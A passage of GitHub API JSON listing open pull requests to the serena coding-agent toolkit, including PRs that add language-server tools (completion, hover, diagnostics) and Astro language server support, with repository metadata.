          "id": 1295099,
          "node_id": "MDQ6VXNlcjEyOTUwOTk=",
          "avatar_url": "https://avatars.githubusercontent.com/u/1295099?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/opcode81",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        }
      },
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "n-r-w:hover_budget",
        "ref": "hover_budget",
        "sha": "a2d8795220e60ed28bd3da5cf06f5dd81b234ddb",
        "user": {
          "login": "n-r-w",
          "id": 38435980,
          "node_id": "MDQ6VXNlcjM4NDM1OTgw",
          "avatar_url": "https://avatars.githubusercontent.com/u/38435980?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/n-r-w",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1127846096,
          "node_id": "R_kgDOQzmQ0A",
          "name": "serena",
          "full_name": "n-r-w/serena",
          "private": false,
          "owner": {
            "login": "n-r-w",
            "id": 38435980,
            "node_id": "MDQ6VXNlcjM4NDM1OTgw",
            "avatar_url": "https://avatars.githubusercontent.com/u/38435980?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/n-r-w",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/n-r-w/serena",
          "created_at": "2026-01-04T17:52:03Z",
          "updated_at": "2026-01-19T06:24:10Z",
          "pushed_at": "2026-02-08T19:54:06Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 5749,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": "Python",
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "ee6b819633f9c527f88987fe5b543f79461928df",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/956"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/956"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/956"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/956/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/956/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/956/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/a2d8795220e60ed28bd3da5cf06f5dd81b234ddb"
        }
      },
      "author_association": "CONTRIBUTOR",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/896",
      "id": 3141263763,
      "node_id": "PR_kwDOONgOes67O-GT",
      "number": 896,
      "state": "open",
      "locked": false,
      "title": "Adding completion, hover, inlay_hints, get_diagnostic tools",
      "user": {
        "login": "Yharooer",
        "id": 2070629,
        "node_id": "MDQ6VXNlcjIwNzA2Mjk=",
        "avatar_url": "https://avatars.githubusercontent.com/u/2070629?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/Yharooer",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "## Notes\r\n- Adding the following tools:\r\n  -  `completion`: suggested autocompletions. Allows AI agents to discover what members a symbol has, especially useful for dependencies where it may not able to read the source easily.\r\n  - `hover`: to get documentation of symbol, especially useful for dependencies where it may not be able to read the source easily.\r\n  - `inlay_hints`: to see type hints\r\n  - `get_diagnostics`: shows any LSP reported errors or warnings, helpful for agents to know if they have made errors without having to build; allows agents to see warnings (e.g. deprecation warnings) which they would not have seen otherwise.\r\n- Additionally adding settings to Eclipse JDTLS to disable maven/gradle project discovery. In certain circumstances I would like to be able to force it to use the Eclipse project setup by disabling maven and gradle project discovery.\r\n\r\n## Issues\r\n#841 \r\n\r\n## Testing\r\nTested manually with Java (Eclipse JDTLS), TypeScript, Python and Rust languages. \r\n- Java: `completion`, `hover` and `get_diagnostics` work as expected. `inlay_hints` always returns an empty list.\r\n- TypeScript: `completion`, `hover` and `get_diagnostics` work as expected. `inlay_hints` always returns an empty list - I think something in the LSP needs to be enabled for these to be visible.\r\n- Python: `completion`, `hover` and `get_diagnostics` work as expected. Pyright does not support inlay hints.\r\n- Rust: All four tools work and give non-empty response.\r\n\r\n",
      "created_at": "2026-01-01T22:35:20Z",
      "updated_at": "2026-01-21T11:43:01Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": null,
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "Yharooer:main",
        "ref": "main",
        "sha": "656de37f94d82342b2140a523e6e72dae14d32e0",
        "user": {
          "login": "Yharooer",
          "id": 2070629,
          "node_id": "MDQ6VXNlcjIwNzA2Mjk=",
          "avatar_url": "https://avatars.githubusercontent.com/u/2070629?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/Yharooer",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1124388917,
          "node_id": "R_kgDOQwTQNQ",
          "name": "serena",
          "full_name": "Yharooer/serena",
          "private": false,
          "owner": {
            "login": "Yharooer",
            "id": 2070629,
            "node_id": "MDQ6VXNlcjIwNzA2Mjk=",
            "avatar_url": "https://avatars.githubusercontent.com/u/2070629?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/Yharooer",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/Yharooer/serena",
          "created_at": "2025-12-28T23:53:26Z",
          "updated_at": "2026-01-01T22:33:46Z",
          "pushed_at": "2026-01-01T22:33:42Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 5071,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": "Python",
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/896"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/896"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/896"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/896/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/896/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/896/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/656de37f94d82342b2140a523e6e72dae14d32e0"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": [
        8
      ]
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/888",
      "id": 3134160183,
      "node_id": "PR_kwDOONgOes66z303",
      "number": 888,
      "state": "open",
      "locked": false,
      "title": "config: added opencode context file.",
      "user": {
        "login": "imqqmi",
        "id": 10323647,
        "node_id": "MDQ6VXNlcjEwMzIzNjQ3",
        "avatar_url": "https://avatars.githubusercontent.com/u/10323647?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/imqqmi",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": null,
      "created_at": "2025-12-29T11:04:16Z",
      "updated_at": "2026-02-05T14:27:11Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": "669aa22ef7dd2655eb5f99e77de0c3cb3a74faa6",
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "imqqmi:main",
        "ref": "main",
        "sha": "63919e71308aba366c042266a47325f09b48eea7",
        "user": {
          "login": "imqqmi",
          "id": 10323647,
          "node_id": "MDQ6VXNlcjEwMzIzNjQ3",
          "avatar_url": "https://avatars.githubusercontent.com/u/10323647?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/imqqmi",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1124636975,
          "node_id": "R_kgDOQwiZLw",
          "name": "serena",
          "full_name": "imqqmi/serena",
          "private": false,
          "owner": {
            "login": "imqqmi",
            "id": 10323647,
            "node_id": "MDQ6VXNlcjEwMzIzNjQ3",
            "avatar_url": "https://avatars.githubusercontent.com/u/10323647?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/imqqmi",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/imqqmi/serena",
          "created_at": "2025-12-29T10:59:07Z",
          "updated_at": "2025-12-29T11:03:21Z",
          "pushed_at": "2025-12-29T11:03:15Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 5013,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": "Python",
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/888"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/888"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/888"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/888/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/888/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/888/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/63919e71308aba366c042266a47325f09b48eea7"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/886",
      "id": 3133249671,
      "node_id": "PR_kwDOONgOes66wZiH",
      "number": 886,
      "state": "open",
      "locked": false,
      "title": "Add Astro Language Server Support",
      "user": {
        "login": "dansasser",
        "id": 36682714,
        "node_id": "MDQ6VXNlcjM2NjgyNzE0",
        "avatar_url": "https://avatars.githubusercontent.com/u/36682714?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/dansasser",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "# Add Astro Language Server Support\r\n\r\n## Summary\r\n\r\nThis PR adds support for Astro framework files using the `CompanionLanguageServer` abstraction introduced in #829. The implementation follows the same dual-server architecture pattern used by Vue, where the domain-specific language server (Astro LS) handles `.astro` files while a companion TypeScript language server handles definitions, references, and rename operations for TypeScript/JavaScript code.\r\n\r\n## Motivation\r\n\r\nAstro is a popular web framework for building content-focused websites. Like Vue, Astro components contain embedded TypeScript/JavaScript in their frontmatter section, requiring coordination between the Astro-specific language server and TypeScript tooling for full IDE functionality.\r\n\r\n## Architecture\r\n\r\n### Dual Language Server Design\r\n\r\n```\r\n                    AstroLanguageServer (extends CompanionLanguageServer)\r\n                              |\r\n         +--------------------+--------------------+\r\n         |                                         |\r\n    Astro LSP                              AstroTypeScriptServer\r\n (@astrojs/language-server)               (extends TypeScriptLanguageServer)\r\n         |                                         |\r\n    Handles:                               Handles:\r\n    - .astro file parsing                  - Go-to-definition\r\n    - Document symbols                     - Find references\r\n    - Astro-specific features              - Rename operations\r\n                                           - Cross-file resolution\r\n```\r\n\r\n### Key Components\r\n\r\n**`CompanionLanguageServer`** (from #829)\r\n- Abstract base class for language servers requiring companion servers\r\n- Manages companion lifecycle, LSP operation delegation, cross-file indexing\r\n- Provides reference merging and deduplication\r\n\r\n**`AstroLanguageServer`**\r\n- Extends `CompanionLanguageServer`\r\n- Uses `@astrojs/language-server` for Astro file handling\r\n- Configures TypeScript companion for code intelligence operations\r\n\r\n**`AstroTypeScriptServer`**\r\n- Extends `TypeScriptLanguageServer`\r\n- Configured with `@astrojs/ts-plugin` for Astro file understanding\r\n- Opens `.astro` files with language ID \"astro\" for plugin recognition\r\n\r\n**`EmbeddedLanguageConfig`**\r\n- Configuration dataclass for embedded language handling\r\n- Specifies which LSP operations each companion handles\r\n- Defines file patterns for cross-file indexing\r\n\r\n**`typescript_companion.py`**\r\n- Shared helper for TypeScript companion configuration\r\n- `create_typescript_companion_config()` - Standard TS config factory\r\n- `prefer_non_node_modules_definition()` - Definition prioritization logic\r\n- Reusable by Vue, Astro, and future Svelte implementations\r\n\r\n## Files Changed\r\n\r\n### New Files\r\n\r\n| File | Purpose |\r\n|------|---------|\r\n| `src/solidlsp/language_servers/astro_language_server.py` | Main Astro LSP implementation (434 lines) |\r\n| `src/solidlsp/companion_ls.py` | CompanionLanguageServer base class (390 lines, from #829) |\r\n| `src/solidlsp/embedded_language_config.py` | Configuration dataclass for embedded languages (26 lines) |\r\n| `src/solidlsp/typescript_companion.py` | Shared TypeScript companion helpers (57 lines) |\r\n| `test/solidlsp/astro/__init__.py` | Test package marker |\r\n| `test/solidlsp/astro/test_astro_basic.py` | Core functionality tests (141 lines) |\r\n| `test/solidlsp/astro/test_astro_symbol_retrieval.py` | Symbol retrieval tests (78 lines) |\r\n| `test/resources/repos/astro/test_repo/` | Complete Astro test project (10 files) |\r\n\r\n### Modified Files\r\n\r\n| File | Changes |\r\n|------|---------|\r\n| `src/solidlsp/ls_config.py` | Added `ASTRO` to `Language` enum, file matchers, LS class mapping |\r\n| `src/solidlsp/language_servers/vue_language_server.py` | Refactored to use `CompanionLanguageServer` (net -162 lines) |\r\n| `src/solidlsp/language_servers/typescript_language_server.py` | Added `executable_path` parameter for custom TS server locations |\r\n| `pyproject.toml` | Added `astro` pytest marker |\r\n| `test/solidlsp/vue/test_vue_*.py` | Added `@pytest.mark.vue` markers (4 files) |\r\n| `CHANGELOG.md` | Added Astro, CompanionLanguageServer, and Vue refactor entries |\r\n| `README.md` | Added Astro and Vue to supported languages list |\r\n\r\n## Test Repository Structure\r\n\r\n```\r\ntest/resources/repos/astro/test_repo/\r\n├── astro.config.mjs          # Astro configuration\r\n├── package.json              # NPM package definition\r\n├── tsconfig.json             # TypeScript configuration\r\n├── src/\r\n│   ├── components/\r\n│   │   ├── Header.astro      # Component with Props interface\r\n│   │   └── Footer.astro      # Simple component\r\n│   ├── layouts/\r\n│   │   └── Layout.astro      # Layout with Props interface (tests frontmatter parsing)\r\n│   ├── pages/\r\n│   │   └── index.astro       # Page with imports and variable declarations\r\n│   ├── stores/\r\n│   │   └── counter.ts        # TypeScript store (tests cross-file resolution)\r\n│   └── utils/\r\n│       └── format.ts         # TypeScript utilities\r\n```\r\n\r\n## Test Coverage\r\n\r\n### `test_astro_basic.py`\r\n\r\n| Test | What It Verifies |\r\n|------|------------------|\r\n| `test_ls_is_running` | Language server starts successfully |\r\n| `test_astro_document_symbols` | Symbols extracted from `.astro` frontmatter (Props interface) |\r\n| `test_typescript_document_symbols` | TypeScript file symbols accessible (CounterStore, createCounter) |\r\n| `test_find_definition_within_typescript` | Go-to-definition within TypeScript files |\r\n| `test_find_references_within_typescript` | Find references within TypeScript files |\r\n| `test_typescript_server_starts` | Companion TypeScript server initialized |\r\n| `test_dual_server_definition_lookup` | Definition lookup through companion server |\r\n| `test_astro_file_with_frontmatter` | Handles frontmatter sections without errors |\r\n| `test_layout_astro_with_props_interface` | Props interface found in Layout component |\r\n\r\n### `test_astro_symbol_retrieval.py`\r\n\r\n| Test | What It Verifies |\r\n|------|------------------|\r\n| `test_get_containing_symbol_in_typescript` | Document symbols from `.ts` files within Astro project |\r\n| `test_find_references_to_typescript_export` | References to TypeScript exports |\r\n| `test_go_to_definition_from_typescript` | Definition resolution for TypeScript types |\r\n| `test_format_utils_symbols` | Utility file symbols accessible (formatNumber, formatDate) |\r\n\r\n## Runtime Dependencies\r\n\r\nAutomatically installed on first use:\r\n- `@astrojs/language-server@2.16.8` - Astro LSP\r\n- `typescript@5.9.3` - TypeScript SDK\r\n- `typescript-language-server@5.1.3` - TS LSP for companion server\r\n\r\nConfigurable via `ls_specific_settings` in `serena_config.yml`:\r\n```yaml\r\nls_specific_settings:\r\n  astro:\r\n    astro_language_server_version: \"2.16.8\"\r\n  typescript:\r\n    typescript_version: \"5.9.3\"\r\n    typescript_language_server_version: \"5.1.3\"\r\n```\r\n\r\n## Relationship to #829\r\n\r\nThis PR depends on the `CompanionLanguageServer` abstraction from #829:\r\n- Uses the same companion server pattern as Vue\r\n- Follows the same architecture for dual-LSP coordination\r\n- Demonstrates the abstraction works for multiple frameworks\r\n\r\nThe base class handles:\r\n- Companion server lifecycle management\r\n- Cross-file domain file indexing\r\n- Reference merging and deduplication\r\n- LSP operation delegation\r\n\r\nIf #829 is merged first, this PR may need a rebase to resolve conflicts in shared files.\r\n\r\n## Breaking Changes\r\n\r\nNone. This is purely additive.\r\n\r\n## Checklist\r\n\r\n- [x] Language server implementation follows existing patterns\r\n- [x] Tests verify actual symbol names and references (not just non-null checks)\r\n- [x] Test repository includes meaningful source files for cross-file testing\r\n- [x] Added pytest marker for Astro tests\r\n- [x] Vue tests updated with markers (prevents unintended test collection)\r\n- [x] Runtime dependencies auto-install with version tracking\r\n- [x] Windows compatibility (`.cmd` suffix handling)\r\n- [x] CHANGELOG.md updated with detailed entries\r\n- [x] README.md updated with Astro and Vue in supported languages\r\n\r\n## CHANGELOG Entry\r\n\r\nAlready added to CHANGELOG.md:\r\n\r\n```markdown\r\n* Language support:\r\n  * **Add support for Astro** via @astrojs/language-server with companion TypeScript LS for code intelligence.\r\n    Uses dual-server architecture where Astro LS handles `.astro` file parsing and document symbols,\r\n    while a companion TypeScript server (configured with `@astrojs/ts-plugin`) handles go-to-definition,\r\n    find references, and rename operations. Supports frontmatter TypeScript/JavaScript extraction,\r\n    cross-file symbol resolution, and Props interface detection. Runtime dependencies auto-install on first use.\r\n  * **Add `CompanionLanguageServer` abstraction** for language servers requiring companion servers (Vue, Astro, future Svelte).\r\n    Manages companion lifecycle, LSP operation delegation with priority-based routing, cross-file domain file indexing\r\n    with ref-count tracking, and reference merging/deduplication. Extracted shared TypeScript companion configuration\r\n    to `typescript_companion.py` for reuse across framework implementations.\r\n  * **Refactored Vue language server** to use `CompanionLanguageServer` base class, reducing code by ~160 lines\r\n    while maintaining full functionality and improving maintainability.\r\n```\r\n\r\n---\r\n\r\nReplaces #884 (closed) with proper `CompanionLanguageServer`-based implementation per maintainer guidance.\r\n",
      "created_at": "2025-12-28T21:43:30Z",
      "updated_at": "2026-01-21T11:43:01Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": null,
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "dansasser:main",
        "ref": "main",
        "sha": "5abb38322d7689428f55d67e751769a9e001c8bc",
        "user": {
          "login": "dansasser",
          "id": 36682714,
          "node_id": "MDQ6VXNlcjM2NjgyNzE0",
          "avatar_url": "https://avatars.githubusercontent.com/u/36682714?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/dansasser",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1123913473,
          "node_id": "R_kgDOQv2PAQ",
          "name": "serena",
          "full_name": "dansasser/serena",
          "private": false,
          "owner": {
            "login": "dansasser",
            "id": 36682714,
            "node_id": "MDQ6VXNlcjM2NjgyNzE0",
            "avatar_url": "https://avatars.githubusercontent.com/u/36682714?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/dansasser",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/dansasser/serena",
          "created_at": "2025-12-27T22:44:38Z",
          "updated_at": "2026-01-01T16:03:03Z",
          "pushed_at": "2026-01-05T03:47:26Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 4986,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": "Python",
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 1,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 1,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
